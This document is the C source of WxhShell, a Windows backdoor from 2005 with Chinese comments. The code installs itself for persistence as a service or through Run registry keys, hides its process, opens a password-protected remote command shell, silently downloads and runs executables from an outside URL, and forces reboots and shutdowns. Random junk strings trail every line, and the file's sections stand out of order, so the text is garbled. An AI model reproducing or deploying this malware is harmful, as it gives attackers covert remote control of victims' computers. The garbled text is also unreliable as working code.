    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !EwL"4pPw  
    if(Boot(SHUTDOWN)) $T#yxx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  UZ*Yt  
    else { *m>XtBw.  
    closesocket(wsh); jIvSjlmI  
    ExitThread(0); O,D/& 0  
    } \c1NIuJR  
    break; 178u4$# b  
    } :6T 8\W  
  // 获取shell AcoU.tpP  
  case 's': { iHYvH   
    CmdShell(wsh); RX"~m!26  
    closesocket(wsh); <w1# 3Mu'  
    ExitThread(0); +t8{aaV  
    break; s.uw,x  
  } Y%GIKtP  
  // 退出 VX'cFqrK3  
  case 'x': { Yw!(]8PYdU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >}I BPC  
    CloseIt(wsh); Ho^rYz  
    break; 2a,l;o$2&  
    } n){F FM  
  // 离开 bMCy=5  
  case 'q': { `@tn Eg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3;E,B7,mQ  
    closesocket(wsh); fGf C[DuY  
    WSACleanup(); \9Yc2$dY  
    exit(1); =rL^^MZp  
    break; ^#0k\f>_  
        } h%=>iQ%enc  
  } jmkVolz  
  } BKJwM'~  
J]"IT*-Ht  
  // 提示信息 %~{G*%:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3W#f Fy  
} ", Ge:\TR=  
  } uG:xd0X+W  
4Y x\U  
  return; 9$iDK$%  
} $%GW~|S\C  
G&DL)ePu]m  
// shell模块句柄 wF\5 X  
int CmdShell(SOCKET sock) QE\t}>  
{ 7%7 \2!0J}  
STARTUPINFO si; y]YUuJ9a  
ZeroMemory(&si,sizeof(si)); tUrwg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [@4.<4Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dpf"H  
PROCESS_INFORMATION ProcessInfo; I5$]{:L|9  
char cmdline[]="cmd"; Ojwhcb^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Osj/={7g  
  return 0; ^?Y x{r~9  
} FVo_=O)  
h,Nq:"}  
// 自身启动模式 EWZ?q$  
int StartFromService(void) \|wUxijJ*,  
{ <<iwJ U%:  
typedef struct &}+^*X  
{ jjTb:Z=.'  
  DWORD ExitStatus; q"OJF'>w5  
  DWORD PebBaseAddress; }iBFo\vU  
  DWORD AffinityMask; + m+v1(@  
  DWORD BasePriority; a*T=;P3(I  
  ULONG UniqueProcessId; b$,~S\\c  
  ULONG InheritedFromUniqueProcessId; >`S $(f  
}   PROCESS_BASIC_INFORMATION; ~L55l2u7  
q2U8]V U)  
PROCNTQSIP NtQueryInformationProcess; MzP q(`W  
)_-EeH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; KhFw%Z0s<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gOSFvH8FU  
P-25]-  
  HANDLE             hProcess; KJQW))%e  
  PROCESS_BASIC_INFORMATION pbi; V W2+ Bs}  
jSKhWxL;'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); d:"#_  
  if(NULL == hInst ) return 0; a%igc^GS2  
VAL]\@Q}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Oh]RIWL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W_\~CntyZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L&nqlH@+~  
N#!**Q 0  
  if (!NtQueryInformationProcess) return 0; ZaKT~f%%z  
NAnccB D!{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %c`P`~sp  
  if(!hProcess) return 0; 3;t{V$  
fZ7Ap3dmP  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #UYrSM@u  
i7#PYt  
  CloseHandle(hProcess); :IB@@5r1  
O% }EpIP_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); K|Kc.   
if(hProcess==NULL) return 0; M0$wTmXM  
#eZm)KFQg  
HMODULE hMod; [i 7^a/e  
char procName[255]; {%! >0@7  
unsigned long cbNeeded; $?FA7=_  
 |tVWmm^m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c1>:|D7w  
eCfy'US;@3  
  CloseHandle(hProcess); iI 4XM>`a  
^h^\kW'#  
if(strstr(procName,"services")) return 1; // 以服务启动 [)S7`K;  
kE` V@F  
  return 0; // 注册表启动 >x0)  
} K'tckJ#%  
b>_eD-  
// 主模块 A."]6R<  
int StartWxhshell(LPSTR lpCmdLine) YZllfw$9  
{ 9~Ve}NB#z&  
  SOCKET wsl; Ku3/xcu:My  
BOOL val=TRUE; o / i W%  
  int port=0; jph"94  
  struct sockaddr_in door; 5U[bn=n  
7~H.\4HB  
  if(wscfg.ws_autoins) Install(); YuVg/ '=  
^.:dT?@R  
port=atoi(lpCmdLine); ?K9zTas@  
l NhX)D^t  
if(port<=0) port=wscfg.ws_port; 079mn/8;  
"eOFp\vPr  
  WSADATA data; G~$[(Fhk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j7u\.xu9  
hxX-iQya  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1O@y >cV  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;:l>Kac  
  door.sin_family = AF_INET; }g]O_fN7~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >/eV4ma"  
  door.sin_port = htons(port); EDAVU  
K2gg"#ft?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~P@6f K/M  
closesocket(wsl); @+EO3-X5  
return 1; -Nu Rf#  
} *<rBV`AP  
n `Ry!  
  if(listen(wsl,2) == INVALID_SOCKET) { O\=c&n~`  
closesocket(wsl); g*a|QBj%  
return 1; cE SSSH!m  
} ckCb)r_  
  Wxhshell(wsl); oe,37xa4  
  WSACleanup(); [:xpz,  
ZBcT@hxm  
return 0; @b2JR^  
-ZKo/ N>6}  
} `j1(GQt  
?V >{3  
// 以NT服务方式启动 !^m,v19Ds<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S(MVL!Lm  
{ x}(p\Efx  
DWORD   status = 0; 1 ^q~NYTK  
  DWORD   specificError = 0xfffffff; %hO/2u  
Uc>$w?oA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~Q36lR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C;BC@OE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T 7EkRcb  
  serviceStatus.dwWin32ExitCode     = 0; !y 7SCz g  
  serviceStatus.dwServiceSpecificExitCode = 0; m c q!_#{y  
  serviceStatus.dwCheckPoint       = 0; `Ir{ax&H.e  
  serviceStatus.dwWaitHint       = 0; !W?6,i-]  
=bDy :yY}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }2CVA.Qm!  
  if (hServiceStatusHandle==0) return; Th%2pwvER  
6Q}WX[| tQ  
status = GetLastError(); D qh rg;  
  if (status!=NO_ERROR) =U)e_q  
{ 5$;#=WAY  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NJ];Ck  
    serviceStatus.dwCheckPoint       = 0; f.X<Mo   
    serviceStatus.dwWaitHint       = 0; e/* T,ZJ  
    serviceStatus.dwWin32ExitCode     = status; gxf{/EjH  
    serviceStatus.dwServiceSpecificExitCode = specificError; %V2A}78  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hErO.ad1o  
    return; [\ALT8vC?m  
  } E%tGwbi7  
(I7s[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W2 p&LP  
  serviceStatus.dwCheckPoint       = 0; 1w|C+m/(  
  serviceStatus.dwWaitHint       = 0; %M KZ':m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I%qZMoS1h  
} Kp.d#W_TX  
0'Y'K6hG`  
// 处理NT服务事件,比如:启动、停止 ^;[|,:8f7L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z3+7gp+I;  
{ XzV:q!e-  
switch(fdwControl) nJ{vO{N  
{ 1NI%J B  
case SERVICE_CONTROL_STOP: #eKg!]4-R  
  serviceStatus.dwWin32ExitCode = 0; ?r"QJa>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6Rcl HU  
  serviceStatus.dwCheckPoint   = 0; BGO!c[-  
  serviceStatus.dwWaitHint     = 0; C!%\cy%Xj  
  { 20Rj Rd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E Qn4+  
  } Jg:%|g  
  return; 3|qT.QR`Z  
case SERVICE_CONTROL_PAUSE: hCvK2Xu   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5:W 5@e{  
  break; b?Zt3#  
case SERVICE_CONTROL_CONTINUE: M,V~oc5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fu;\t 0  
  break; 7%g8&d  
case SERVICE_CONTROL_INTERROGATE: B>=NE.ulUL  
  break; ~E J+<[/  
}; _t'S<jTI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $wq[W,'#L  
} Q#a<T4l  
:l/?cV;  
// 标准应用程序主函数 :<w2j 6V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) LLlt9(^d  
{ }>T$2"pf  
R_ |Sg  
// 获取操作系统版本 a"6AZT"8  
OsIsNt=GetOsVer(); r iuG,$EX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Utv#E.VI  
:#I7);ol  
  // 从命令行安装 \4qw LM?E^  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~,jBm^4  
C[0*>W8o  
  // 下载执行文件 byrK``f  
if(wscfg.ws_downexe) { M`jqU g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oI2YJ2?Je8  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5OS|Vp||b  
} xQ{n|)i>  
|y T-N3H@  
if(!OsIsNt) { AXmW7/Sj"  
// 如果时win9x,隐藏进程并且设置为注册表启动 vy&< O  
HideProc(); /j|Rz5@ =  
StartWxhshell(lpCmdLine); fP :26pK^  
} 8;vpa*  
else o fw0_)!Q  
  if(StartFromService()) U0Q:sA U  
  // 以服务方式启动 uOU?-WtPz  
  StartServiceCtrlDispatcher(DispatchTable); WhY8#B'?  
else xP+HdA2X  
  // 普通方式启动 |4lrVYG^K  
  StartWxhshell(lpCmdLine); V < ;vy&&  
H)u<$y!8  
return 0; Frxim  
} >^\}"dEvr  
BEfp3|Stb  
.NOh[68'  
C~PoC'"q  
=========================================== b{WEux{)  
Gs7#W:e7  
Ivdg1X  
7 g2@RKo  
tOQura  
|}YeQl  
" 2wKW17wj,  
b7nER]R  
#include <stdio.h> &F xw19[G  
#include <string.h> 'c")]{  
#include <windows.h> _ h7qS  
#include <winsock2.h> e.<y-b?  
#include <winsvc.h> p"lTZ7c:Y  
#include <urlmon.h> $: %U`46%s  
Ln2dD>{2  
#pragma comment (lib, "Ws2_32.lib") O5;$cP:  
#pragma comment (lib, "urlmon.lib") ,cg%t9  
fsr0E=nV  
#define MAX_USER   100 // 最大客户端连接数  | D?lF  
#define BUF_SOCK   200 // sock buffer M:*^k  
#define KEY_BUFF   255 // 输入 buffer ;K+'J0  
a*fUMhIi  
#define REBOOT     0   // 重启 vxmz3ht,Q  
#define SHUTDOWN   1   // 关机 OB&lq.r  
bOKgR{i  
#define DEF_PORT   5000 // 监听端口 x9&{@ ?o  
F N)vFQ#J  
#define REG_LEN     16   // 注册表键长度 /N'|Vs,X  
#define SVC_LEN     80   // NT服务名长度 AlQE;4yX  
>#j f Z5t  
// 从dll定义API R"0fZENTG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q_sQC5:s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Oy,`tG0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JkiMrpkuk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ls<7Qe"a  
^71!.b%  
// wxhshell配置信息 /1Q i9uit  
struct WSCFG { 4kZ9]5#.  
  int ws_port;         // 监听端口 w N-np3k  
  char ws_passstr[REG_LEN]; // 口令 /M.@dW7 w  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z6Owxqfht  
  char ws_regname[REG_LEN]; // 注册表键名 >We:g Kxr  
  char ws_svcname[REG_LEN]; // 服务名 b<N962 q$q  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H+VKWGmfG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G31??L:<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _ zh>q4M  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .%iJin"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xw|t.0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~gjREl,+D#  
H /kSFf{  
}; +Je(]b @  
&;D(VdSr9  
// default Wxhshell configuration :Ur=}@Dj  
struct WSCFG wscfg={DEF_PORT, ]nEZ Q+F  
    "xuhuanlingzhe", ?\eq!bu  
    1, v@8 =u4  
    "Wxhshell", n<. T6  
    "Wxhshell", Ckelr  
            "WxhShell Service", 7i,Z c]  
    "Wrsky Windows CmdShell Service", kCq]#e~wq  
    "Please Input Your Password: ", &vy/Vd  
  1, wGXnS"L!  
  "http://www.wrsky.com/wxhshell.exe", yLo{^4a.  
  "Wxhshell.exe" c2,1d`  
    }; :n4X>YL)  
:4ndU:.L  
// 消息定义模块  3e<FlH{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FzDZ<dJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *i}Nb* Z3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D9#?l <D  
char *msg_ws_ext="\n\rExit."; r dc} e"v  
char *msg_ws_end="\n\rQuit."; u)DhkF|  
char *msg_ws_boot="\n\rReboot..."; #\Q{?F!4  
char *msg_ws_poff="\n\rShutdown..."; %/86}DCfE?  
char *msg_ws_down="\n\rSave to "; j70]2NgX  
ZW]Q|vPh4U  
char *msg_ws_err="\n\rErr!"; 7,\Uk|  
char *msg_ws_ok="\n\rOK!"; m}x&]">9  
:[#~,TW  
char ExeFile[MAX_PATH]; }P5zf$  
int nUser = 0; _>G=v!  
HANDLE handles[MAX_USER]; w_gPX0N}3n  
int OsIsNt; }WN0L?h.E  
i&r56m<  
SERVICE_STATUS       serviceStatus; 3E!#?N|v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XYKWOrkQqa  
7*7Z&1*3  
// 函数声明 1-Fz#v7p  
int Install(void); Whf7J'  
int Uninstall(void); GS%i<HQ3  
int DownloadFile(char *sURL, SOCKET wsh); &*I\~;1  
int Boot(int flag); suh@  
void HideProc(void); n.[0#Ur&}  
int GetOsVer(void); <eObQ[mQ  
int Wxhshell(SOCKET wsl); Bh9O<|E  
void TalkWithClient(void *cs); !Cm<K*c"&E  
int CmdShell(SOCKET sock); %'}L.OvG  
int StartFromService(void); _L6WbRu|  
int StartWxhshell(LPSTR lpCmdLine); MNE{mV(  
^8mF0K&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X[frL)k]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nt/+?Sj  
f PoC yl  
// 数据结构和表定义 0/8rYBV  
SERVICE_TABLE_ENTRY DispatchTable[] = I 9yN TD  
{ b6IYo!3  
{wscfg.ws_svcname, NTServiceMain}, *cdr,AD?lH  
{NULL, NULL} He)<S?X-6  
}; idm!6]  
)\:cL GM  
// 自我安装 =:+k  
int Install(void) z2m%L0  
{ %SRUHx[D  
  char svExeFile[MAX_PATH]; 1PMBo=SUe8  
  HKEY key; d9zI A6y  
  strcpy(svExeFile,ExeFile); $J/Z~ (=JT  
O7#ECUH  
// 如果是win9x系统,修改注册表设为自启动 ~~?4w.k  
if(!OsIsNt) { k)W8%=R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 00') Ol&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wW3fsXu  
  RegCloseKey(key); gr'M6&>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D t~Jx\\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gI&& LwT4  
  RegCloseKey(key); z$3 3NM  
  return 0; Kilq Jg1%C  
    } Lm kv .XF  
  } zMfr`&%e  
} #clPao?r  
else { xw*T? !r=V  
_P!J0  
// 如果是NT以上系统,安装为系统服务 `.z;.&x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x1m J&D  
if (schSCManager!=0) 8&6h()  
{ S~\i"A)4  
  SC_HANDLE schService = CreateService ."R,j|o6  
  ( O a_2J#~$  
  schSCManager, >EFjyhVE  
  wscfg.ws_svcname, / r#.BXP  
  wscfg.ws_svcdisp, sXzxEhp  
  SERVICE_ALL_ACCESS, Z!TLWX "  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `~Eo;'(+^  
  SERVICE_AUTO_START, Le9^,B@Pb  
  SERVICE_ERROR_NORMAL, m*L*# ZBS  
  svExeFile, *P_ 3A:_  
  NULL, r5qp[Ss3F  
  NULL, NymS8hxR  
  NULL, =J0X{Ovn4z  
  NULL, )bZS0f-  
  NULL Y`S9mGR#  
  ); 'CT 8vt;  
  if (schService!=0) ^l#Z*0@><~  
  { #vi `2F  
  CloseServiceHandle(schService); RVv@x5  
  CloseServiceHandle(schSCManager); qp*C%U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y4aSf2   
  strcat(svExeFile,wscfg.ws_svcname); LL5n{#)N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I_mnXd;n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j]EeL=H<P  
  RegCloseKey(key); /TTmMx*  
  return 0; M,Q(7z?#5  
    } ]/!#:  
  } .jRp.U  
  CloseServiceHandle(schSCManager); 8kQ >M  
} Vx@JP93|  
} SI=vA\e  
sE$!MQb  
return 1; sQrP,:=r#  
} 'rJkxU{  
A4.Q \0  
// 自我卸载 WJ$D]7  
int Uninstall(void) j nvi_Rodm  
{ YC#N],#  
  HKEY key; j  )6A  
+E7s[9/r  
if(!OsIsNt) { w-?_U7'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dzMlfJp  
  RegDeleteValue(key,wscfg.ws_regname);  4l+"J:,  
  RegCloseKey(key); `_C4L=q"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oLEqy  
  RegDeleteValue(key,wscfg.ws_regname); m72r6Yq2@  
  RegCloseKey(key); K_ P08  
  return 0; T]\_[e:'  
  } K1Ms  
} WpE\N0Yg  
} (J8 (_MF  
else { Tj}H3/2  
PSz|I8 c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fOEw]B#@  
if (schSCManager!=0) T+7O+X#  
{ won;tO]\;@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Uk=jQfA*J  
  if (schService!=0) b: UTq 7^  
  { [(U:1&x &  
  if(DeleteService(schService)!=0) { M=hxOta  
  CloseServiceHandle(schService); H%`Ja('"p  
  CloseServiceHandle(schSCManager); ;^nN!KDjR  
  return 0; /k3v\Jq{  
  } F$P8"q+  
  CloseServiceHandle(schService); ]6NpHDip1  
  } iE$qq ~%  
  CloseServiceHandle(schSCManager); eO#Kn'5  
} X(Gp3lG  
} :,03)[u{8  
&U%AVD[  
return 1; 8SII>iL{  
} xMNUy B{?  
_oK*1#Rm8  
// 从指定url下载文件 /?<o?IR~6  
int DownloadFile(char *sURL, SOCKET wsh) H'E(gc)>)  
{ .$5QM&  
  HRESULT hr; Coz\fL  
char seps[]= "/"; ) -x0xY  
char *token; b6sj/V8  
char *file; 7M*&^P\}es  
char myURL[MAX_PATH]; "w.gP8`  
char myFILE[MAX_PATH]; 5[3vu p?  
BH"f\oc  
strcpy(myURL,sURL); x5[wF6A  
  token=strtok(myURL,seps); ^6R?UG;6  
  while(token!=NULL) ?-w<H!Y7  
  { 4lMf'V7*l  
    file=token; K TJm[44  
  token=strtok(NULL,seps); U^iNOMs?  
  } rEEoR'c6  
(D5 dN\  
GetCurrentDirectory(MAX_PATH,myFILE); 8."B  
strcat(myFILE, "\\"); rw(EI,G  
strcat(myFILE, file); aMdWT4  
  send(wsh,myFILE,strlen(myFILE),0); +VxzWNs*JP  
send(wsh,"...",3,0); 34S0W]V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &Z!O   
  if(hr==S_OK) yClX!OL  
return 0; -?L~\WJAL  
else A)"?GK{*  
return 1; KwO;ICdJ  
jd]Om r!  
} w1tWyKq  
/U\k<\1~m  
// 系统电源模块 s`Z | A  
int Boot(int flag) .!|\Y!]^r  
{ jroR 2*  
  HANDLE hToken; 0;9X`z J  
  TOKEN_PRIVILEGES tkp; vz'/]E  
XFJGL!wWm[  
  if(OsIsNt) { jpijnz{M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @@->A9'L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fS9TDy  
    tkp.PrivilegeCount = 1; `5da  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <r 2$k"*:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?wM{NVt#-  
if(flag==REBOOT) { Msj(>U&}+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ejs_ ?  
  return 0; %l{0z<  
} =^a Ngq  
else { (lPiv+'n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) IZ?+c@t  
  return 0; j{QzD^t  
} miWog8j  
  } [_kis  
  else { NVyel*QE  
if(flag==REBOOT) { v+\&8)W=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ->"Z1  
  return 0; `^_c&y K  
} 2z*EamF  
else { #6okd*^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) B?M&j  
  return 0; +% E)]*Ym  
} {v3?.a$ u  
} P _e9>t@  
>+}yI}W;e  
return 1; Tfsx&k\  
} Lt'FA  
LT+QW  
// win9x进程隐藏模块 =(]yl_  
void HideProc(void) s}w?Dvo\  
{ AN)exU ?  
Bh<DqN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _m0B6?KJ  
  if ( hKernel != NULL ) Ht`kmk;I)  
  { *z?Vy<u G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P|U9f6^3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `IC2}IiF  
    FreeLibrary(hKernel); 2Q bCH}  
  } N$&)gI:  
T( LlNq  
return; ~;)H |R5kV  
} k`aHG8S\  
RX])#=Cs  
// 获取操作系统版本 Ec3TY<mVr  
int GetOsVer(void) #!yW)RG  
{ ;q5.\m:  
  OSVERSIONINFO winfo; gXy'@ !  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rf\/Y"D  
  GetVersionEx(&winfo); I \Luw*:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .I h'&  
  return 1; n^[VN[ VC  
  else "@s</HGo  
  return 0; :<QmG3F  
} a8w/#!^34  
"A9qC*6[  
// 客户端句柄模块 Pl/}`H:R&  
int Wxhshell(SOCKET wsl) sa?Ul)L2  
{ GS)4,.  
  SOCKET wsh; n[E/O}3& /  
  struct sockaddr_in client; #_pQS}$  
  DWORD myID; F-TDS<[S?  
k]"DsN$  
  while(nUser<MAX_USER) ][?@) )  
{ d,XNok{  
  int nSize=sizeof(client); k=&UV!J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); K| w\KX0  
  if(wsh==INVALID_SOCKET) return 1; 07 E9[U[  
d_] sV4[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); YJm64H,[  
if(handles[nUser]==0) !5^&?plC@  
  closesocket(wsh); qK-\`m  
else -hU1wX%U  
  nUser++; 1}/37\  
  } nBg  tK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nhImO@Q:  
LW#$%}  
  return 0; A7enC,Ey  
} v!WkPvU  
=6O<1<[y  
// 关闭 socket opIbs7k-  
void CloseIt(SOCKET wsh) w l#jSj%pd  
{ {b,#l]v  
closesocket(wsh); (k$KUP  
nUser--; o,yZ1"  
ExitThread(0); /D~MHO{  
} ir<K"wi(2  
L (@".{T  
// 客户端请求句柄 &6O0h0Vy  
void TalkWithClient(void *cs) \Y$@$)   
{ D:=Q)Uh0I  
^&!iqK2o  
  SOCKET wsh=(SOCKET)cs; [~5<['G  
  char pwd[SVC_LEN]; t 2Y2v2 J  
  char cmd[KEY_BUFF]; I&Z+FL&@f  
char chr[1]; d>gN3}tT  
int i,j; L|y 9T {s  
*-,jIaL;  
  while (nUser < MAX_USER) { H$)__V5I,q  
"QLp%B,A  
if(wscfg.ws_passstr) { 60XTdJkDkA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4S\St <  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M $\!SXL  
  //ZeroMemory(pwd,KEY_BUFF); 79d< ,q;uR  
      i=0; Sau?Y  
  while(i<SVC_LEN) { WT'?L{  
j`l'Mg  
  // 设置超时 <tI_u ~P  
  fd_set FdRead; 2q}lSa7r  
  struct timeval TimeOut; =2OLyZDI  
  FD_ZERO(&FdRead); )u>/:  
  FD_SET(wsh,&FdRead); L g2z `uv  
  TimeOut.tv_sec=8; $*qQ/hi  
  TimeOut.tv_usec=0; I~T~!^}U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j}aU*p~N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &:[hUn8jU  
Wu@v%!0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @p [ml m  
  pwd=chr[0]; X*< !_3  
  if(chr[0]==0xd || chr[0]==0xa) { i-M<_62c  
  pwd=0; (_nU}<y_i  
  break; &pFP=|Pq  
  } /D,<2>o  
  i++; Z"N}f ,  
    } jn._4TQ*}  
(Y~gItej  
  // 如果是非法用户,关闭 socket FB }8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8Y P7'Fz  
} c +N\uG4  
hOR1R B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \:Z8"~G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a+ s%9l  
$^5c8wT  
while(1) { bOdQ+Y6  
HSlAm&Y\  
  ZeroMemory(cmd,KEY_BUFF); I;UCKoFT  
L8~zQV$h  
      // 自动支持客户端 telnet标准   b@ OF  
  j=0; PwS7!dzH-  
  while(j<KEY_BUFF) { fp2uk3Bm[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WVdF/H  
  cmd[j]=chr[0]; @XN*H- |  
  if(chr[0]==0xa || chr[0]==0xd) { ;t \C!A6  
  cmd[j]=0; # 5b   
  break; 6g 5Lf)yG  
  } 4|/=]w  
  j++; qK,PuD7i"  
    } Ry`Y +  
6fV;V:1{  
  // 下载文件 ij&T \):d  
  if(strstr(cmd,"http://")) { UhbGU G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1JY3c M  
  if(DownloadFile(cmd,wsh)) n}3fItSJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); y1t,i. [  
  else bq"dKN`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  `s~[q  
  } ~!#2s'  
